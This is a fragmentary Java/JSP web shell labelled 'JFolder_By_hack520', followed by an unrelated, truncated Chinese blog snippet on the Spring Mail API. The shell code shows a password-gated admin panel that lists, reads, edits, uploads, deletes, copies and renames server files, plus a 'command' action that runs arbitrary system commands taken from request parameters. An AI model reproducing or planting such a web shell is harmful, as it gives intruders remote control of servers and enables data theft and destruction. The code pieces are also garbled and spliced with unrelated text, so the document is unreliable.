public boolean isTextFile(String extName) { int i; boolean bRet = false;
if (! extName.equals("")) { for (i = 0; i < _textFileTypes.length; i ++) { if (extName.equals(_textFileTypes[i])) { bRet = true; break; } } } else { bRet = true; }
return bRet; }
public String getExtName(String fileName) { String sRet = ""; int nLastDotPos;
if (canOpen) { try { fileString = ""; curFile = new File(path); FileReader fileReader = new FileReader(curFile); char[] chBuffer = new char[1024]; int nRet;
while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { fileString += new String(chBuffer, 0, nRet); }
fileReader.close(); } catch (IOException e) { fileString = null; sRet = "不能打开文件\"" + path + "\""; } catch (SecurityException e) { fileString = null; sRet = "安全问题,没有权限执行该操作"; } } else { sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; }
byte[] inBytes = new byte[request.getContentLength()]; int nBytes; int start = 0; int end = 0; int size = 1024; String token = null; String filePath = null;
try { FileInputStream in = new FileInputStream(new File(srcPath)); FileOutputStream out = new FileOutputStream(new File(dstPath)); byte[] buffer = new byte[1024]; int nBytes;
public void setPassword(String password) throws JshellConfigException { Pattern p = Pattern.compile("\\w+"); Matcher m = p.matcher(password);
if (! m.matches()) { throw new JshellConfigException("密码不能有除字母数字下划线以外的字符"); }
p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); m = p.matcher(_jshellContent); if (! m.find()) { throw new JshellConfigException("程序体已经被非法修改"); }
public void setEncodeType(String encodeType) throws JshellConfigException { Pattern p = Pattern.compile("[A-Za-z0-9]+"); Matcher m = p.matcher(encodeType);
if (! m.matches()) { throw new JshellConfigException("编码格式只能是字母和数字的组合"); }
p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); m = p.matcher(_jshellContent);
if (! m.find()) { throw new JshellConfigException("程序体已经被非法修改"); }
if (request.getParameter("password") == null && session.getAttribute("password") == null) { // show the login form //================================================================================================ %>
8管理登录 :::...
JFolder_By_hack520
<% //================================================================================================ // end of the login form } else { String password = null;
if (session.getAttribute("password") == null) { password = (String)request.getParameter("password");
if (action.equals("exit")) { session.removeAttribute("password"); response.sendRedirect(request.getRequestURI()); out.close(); return; }
// show the main menu //==================================================================================== %>
<% //===================================================================================== // end of main menu
if (action.equals("main")) { // print the system info table //======================================================================================= %>
<% //======================================================================================= // end of printing the system info table ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// } else if (action.equals("filesystem")) { String curPath = ""; String result = ""; String fsAction = "";
if (fsAction.equals("list")) result = listFiles(curPath, request.getRequestURI() + "?action=" + action); else if (fsAction.equals("browse")) { result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); result += browseFile(curPath); } else if (fsAction.equals("open")) result = openFile(curPath, request.getRequestURI() + "?action=" + action); else if (fsAction.equals("save")) { if (request.getParameter("fileContent") == null) { result = "页面导航错误"; } else { String fileContent = Unicode2GB((String)request.getParameter("fileContent")); result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); } } else if (fsAction.equals("createFolder")) { if (request.getParameter("folderName") == null) { result = "目录名不能为空"; } else { String folderName = Unicode2GB(request.getParameter("folderName").trim()); if (folderName.equals("")) { result = "目录名不能为空"; } else { result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); } } } else if (fsAction.equals("createFile")) { if (request.getParameter("fileName") == null) { result = "文件名不能为空"; } else { String fileName = Unicode2GB(request.getParameter("fileName").trim()); if (fileName.equals("")) { result = "文件名不能为空"; } else { result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); } } } else if (fsAction.equals("deleteFile")) { if (request.getParameter("filesDelete") == null) { result = "没有选择要删除的文件"; } else { String[] files2Delete = (String[])request.getParameterValues("filesDelete"); if (files2Delete.length == 0) { result = "没有选择要删除的文件"; } else { for (int n = 0; n < files2Delete.length; n ++) { files2Delete[n] = Unicode2GB(files2Delete[n]); } result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); } } } else if (fsAction.equals("saveAs")) { if (request.getParameter("fileContent") == null) { result = "页面导航错误"; } else { String fileContent = Unicode2GB(request.getParameter("fileContent")); result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); } } else if (fsAction.equals("upload")) { result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); } else if (fsAction.equals("copyto")) { if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { result = "没有选择要复制的文件"; } else { String[] files2Copy = request.getParameterValues("filesDelete"); String dstPath = request.getParameter("dstPath").trim(); if (files2Copy.length == 0) { result = "没有选择要复制的文件"; } else if (dstPath.equals("")) { result = "没有填写要复制到的目录路径"; } else { for (int i = 0; i < files2Copy.length; i ++) files2Copy[i] = Unicode2GB(files2Copy[i]);
result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); } } } else if (fsAction.equals("rename")) { if (request.getParameter("fileRename") == null) { result = "页面导航错误"; } else { String file2Rename = request.getParameter("fileRename").trim(); String newName = request.getParameter("newName").trim(); if (file2Rename.equals("")) { result = "没有选择要重命名的文件"; } else if (newName.equals("")) { result = "没有填写新文件名"; } else { result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); } } } %>
<%= result.trim().equals("")?" " : result%>
<% ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// } else if (action.equals("command")) { String cmd = ""; InputStream ins = null; String result = "";
if (request.getParameter("command") != null) { cmd = (String)request.getParameter("command"); result = exeCmd(cmd); } // print the command form //======================================================================================== %>
try { JshellConfig jconfig = new JshellConfig(jshellPath); jconfig.setPassword(newPassword); jconfig.setEncodeType(newEncodeType); jconfig.setSessionTime(newSessionTime); jconfig.setTextFileTypes(newTextFileTypes); jconfig.save(); result += "设置保存成功,正在返回,请稍候……"; result += ""; } catch (JshellConfigException e) { result = "" + e.getMessage() + ""; }
%>
<%=result == "" ? " " : result%>
<% } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //========================================================================================== // end of config form } else if (action.equals("about")) { // start of about //========================================================================================== %>
原文地址:http://www.open-open.com/lib/view/open1346857871615.html
使用Java Mail API来发送邮件也很容易实现,但是最近公司一个同事封装的邮件API实在让我无法接受,于是便打算改用Spring Mail API来发送邮件,顺便记录下这篇文章。 【Spring Mail API】
Spring Mail API都在org.spri